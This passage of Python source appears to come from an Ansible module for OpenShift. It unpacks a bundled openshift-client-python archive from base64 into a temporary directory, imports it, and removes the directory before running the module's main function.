six.BytesIO(base64.b64decode(REPLACED_BY_REBUILD_MODULE)) module = AnsibleModule( argument_spec=dict( script=dict(required=True), vars=dict(required=False, default={}, type='dict'), project=dict(required=False, default=None), timeout=dict(required=False, default=None, type='int'), changes=dict(required=False, default=False, type='bool') ) ) client_python_extract_dir = tempfile.mkdtemp() module.debug('Extracting openshift-client-python module to: {}'.format(client_python_extract_dir)) try: tf = tarfile.open(fileobj=OPENSHIFT_CLIENT_PYTHON_TGZ, mode='r:gz') tf.extractall(client_python_extract_dir) # Add the newly extacted directory to the python path to resolve the openshift package sys.path.append(client_python_extract_dir) # Import openshift as oc so that we can delete the extract directory. module.exit_ type methods # call sys.exit, so this is our only chance to leave no trace. import openshift as oc shutil.rmtree(client_python_extract_dir) main() finally: if os.path.exists(client_python_extract_dir): shutil.rmtree(client_python_extract_dir)

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